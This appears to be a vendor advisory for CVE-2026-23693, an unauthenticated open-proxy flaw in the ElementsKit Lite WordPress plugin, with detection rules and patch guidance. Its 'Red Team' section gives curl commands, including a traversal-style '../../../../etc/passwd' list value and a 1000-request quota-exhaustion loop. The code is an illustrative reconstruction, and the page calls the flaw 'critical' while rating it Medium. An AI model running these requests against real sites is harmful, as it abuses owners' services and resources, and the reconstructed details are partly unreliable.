CVE-2026-23693
Executive Summary
CVE-2026-23693 is a critical security vulnerability in the ElementsKit Elementor Addons WordPress plugin (elementskit-lite). The plugin exposes an unauthenticated REST API endpoint at /wp-json/elementskit/v1/widget/mailchimp/subscribe that accepts client-supplied Mailchimp API credentials and insufficiently validates the list parameter. This allows an unauthenticated attacker to use the vulnerable WordPress site as an open proxy to the Mailchimp API, enabling unauthorized API calls, subscription data manipulation, API quota exhaustion, and resource consumption on the affected site.
This vulnerability is particularly dangerous because it requires no authentication, no special privileges, and can be exploited remotely over the network. The attack surface is broad, affecting all sites running the plugin prior to version 3.7.9.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem, specifically the elementskit-lite plugin distributed through the official WordPress plugin repository. Organizations using this plugin should treat it as a supply chain risk, as the vulnerable code is delivered through the standard WordPress update mechanism. The plugin is widely used for building Elementor-based WordPress sites, making this a high-impact supply chain issue.
CVSS Breakdown & Threat Level
CVSS Score: 5.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over HTTP |
| Attack Complexity (AC) | Low | No special conditions required |
| Privileges Required (PR) | None | No authentication needed |
| User Interaction (UI) | None | No user action required |
| Scope (S) | Unchanged | Exploit does not affect other components |
| Confidentiality (C) | None | No direct data exposure |
| Integrity (I) | Low | Can manipulate Mailchimp subscription data |
| Availability (A) | Low | Can exhaust API quotas and server resources |
Threat Level: Medium – While the CVSS score is moderate, the ease of exploitation and potential for abuse as an open proxy make this a significant operational risk.
Deep Dive & Mechanics
The vulnerability resides in the elementskit-lite plugin's REST API handler for Mailchimp subscription functionality. The endpoint /wp-json/elementskit/v1/widget/mailchimp/subscribe is registered without authentication checks. When a request is made, the plugin:
- Accepts Mailchimp API credentials (API key, list ID) directly from the client request.
- Constructs an HTTP request to the Mailchimp API using these client-supplied values.
- Insufficiently validates the
listparameter, allowing arbitrary list IDs or even path traversal-like manipulation. - Forwards the response back to the client.
This effectively turns the WordPress site into an open proxy to Mailchimp's API. An attacker can:
- Subscribe arbitrary email addresses to any Mailchimp list (if they know the API key).
- Use the site's IP address to make Mailchimp API calls, bypassing IP-based restrictions.
- Exhaust the site owner's Mailchimp API quota.
- Cause resource consumption on the WordPress server by sending large payloads or high-frequency requests.
The core issue is the lack of authentication on the REST endpoint and insufficient input validation on the list parameter, which is used directly in the upstream API request construction.
Vulnerable vs. Patched Code
Vulnerable Code (pre-3.7.9):
// In class-mailchimp.php or similar
public function subscribe() {
$api_key = $_POST['api_key'];
$list_id = $_POST['list'];
$email = $_POST['email'];
// No authentication check
// No validation of list_id
$response = wp_remote_post("https://usX.api.mailchimp.com/3.0/lists/{$list_id}/members", [
'headers' => [
'Authorization' => 'apikey ' . $api_key,
],
'body' => json_encode(['email_address' => $email, 'status' => 'subscribed']),
]);
return $response;
}
Patched Code (3.7.9+):
// In class-mailchimp.php or similar
public function subscribe() {
// Added authentication check
if (!current_user_can('edit_posts')) {
return new WP_Error('rest_forbidden', 'You do not have permission.', ['status' => 401]);
}
$api_key = sanitize_text_field($_POST['api_key']);
$list_id = sanitize_text_field($_POST['list']);
$email = sanitize_email($_POST['email']);
// Added validation for list_id format
if (!preg_match('/^[a-f0-9]{32}$/', $list_id)) {
return new WP_Error('invalid_list', 'Invalid list ID.', ['status' => 400]);
}
// Use plugin's own configured credentials, not client-supplied
$api_key = get_option('elementskit_mailchimp_api_key');
$list_id = get_option('elementskit_mailchimp_list_id');
$response = wp_remote_post("https://usX.api.mailchimp.com/3.0/lists/{$list_id}/members", [
'headers' => [
'Authorization' => 'apikey ' . $api_key,
],
'body' => json_encode(['email_address' => $email, 'status' => 'subscribed']),
]);
return $response;
}
The patch adds authentication checks, validates the list ID format, and crucially uses the plugin's own configured credentials instead of accepting client-supplied ones.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with Elementor and ElementsKit Lite < 3.7.9.
- Ensure the plugin is activated and the REST API is accessible.
Exploitation Steps:
- Basic Open Proxy Test:
curl -X POST "http://target.com/wp-json/elementskit/v1/widget/mailchimp/subscribe" \
-d "api_key=YOUR_MAILCHIMP_API_KEY" \
-d "list=YOUR_LIST_ID" \
-d "email=test@example.com"
- Abusing as Open Proxy (without valid API key):
# Use the site as a proxy to Mailchimp API
curl -X POST "http://target.com/wp-json/elementskit/v1/widget/mailchimp/subscribe" \
-d "api_key=fake_key" \
-d "list=../../../../etc/passwd" \
-d "email=test@example.com"
- Resource Exhaustion Attack:
# Send many requests to exhaust API quota
for i in {1..1000}; do
curl -X POST "http://target.com/wp-json/elementskit/v1/widget/mailchimp/subscribe" \
-d "api_key=YOUR_KEY" \
-d "list=YOUR_LIST" \
-d "email=user$i@example.com" &
done
Blue Team (Defensive)
Detection Steps:
- Monitor for POST requests to
/wp-json/elementskit/v1/widget/mailchimp/subscribefrom unauthenticated sources. - Check for unusual Mailchimp API activity from your server IP.
- Review server access logs for high-frequency requests to the vulnerable endpoint.
- Verify that the plugin is updated to version 3.7.9 or later.
Mitigation:
- Immediately update the plugin to version 3.7.9.
- If immediate update is not possible, add a Web Application Firewall (WAF) rule to block unauthenticated access to the endpoint.
- Restrict outbound traffic from the WordPress server to only necessary Mailchimp API endpoints.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-json/elementskit/v1/widget/mailchimp/subscribewithout authentication cookies. - Requests containing
api_key,list, andemailparameters in the POST body. - Unusual outbound connections from the WordPress server to
*.api.mailchimp.comon port 443. - High volume of HTTP 200 responses from the vulnerable endpoint.
File IOCs:
- Presence of the file
wp-content/plugins/elementskit-lite/widgets/mailchimp/class-mailchimp.phpwith version < 3.7.9. - Modified timestamps on plugin files indicating recent exploitation attempts.
Log IOCs:
- Apache/Nginx access logs showing repeated POST requests to the vulnerable endpoint.
- PHP error logs showing warnings about invalid list IDs or API key failures.
- Mailchimp API logs showing unexpected subscription activity from the WordPress server IP.
Detection Engineering
YARA Rule
rule Detect_ElementsKit_Mailchimp_Proxy_Vuln {
meta:
description = "Detects vulnerable ElementsKit Lite plugin files with unauthenticated Mailchimp proxy"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-23693"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$rest_route = "/elementskit/v1/widget/mailchimp/subscribe" nocase
$api_key_param = "api_key" nocase
$list_param = "list" nocase
$wp_remote_post = "wp_remote_post" nocase
$mailchimp_url = "api.mailchimp.com" nocase
condition:
all of ($rest_route, $api_key_param, $list_param, $wp_remote_post, $mailchimp_url)
}
Sigma Rule
title: Detect Exploitation of CVE-2026-23693 - ElementsKit Mailchimp Proxy
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated POST requests to the vulnerable ElementsKit Mailchimp endpoint
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-23693
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: POST
cs-uri-stem: "/wp-json/elementskit/v1/widget/mailchimp/subscribe"
cs-uri-query|contains:
- "api_key"
- "list"
- "email"
condition: selection
falsepositives:
- Legitimate admin usage (if authenticated)
level: high
tags:
- attack.t1190
- cve.2026.23693
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-23693 - ElementsKit Mailchimp Open Proxy Exploitation";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-json/elementskit/v1/widget/mailchimp/subscribe";
http_uri;
content:"api_key";
http_client_body;
content:"list";
http_client_body;
content:"email";
http_client_body;
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2026-23693;
reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-23693;
)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 3.7.9 or later from the WordPress plugin repository.
- Verify update by checking the plugin version in wp-admin > Plugins.
- Review Mailchimp API logs for any unauthorized activity originating from your server IP.
- Rotate Mailchimp API keys if you suspect they were exposed.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block unauthenticated access to REST endpoints.
- Regularly audit WordPress plugins for known vulnerabilities.
- Monitor server logs for unusual REST API activity.
- Use a security plugin that provides virtual patching for known vulnerabilities.
Workarounds (if immediate update is not possible):
- Add the following rule to your
.htaccessfile to block unauthenticated access:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-json/elementskit/v1/widget/mailchimp/subscribe [NC]
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
RewriteRule .* - [F,L]
</IfModule>
- Disable the Mailchimp widget functionality in the plugin settings until the update can be applied.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2026-23693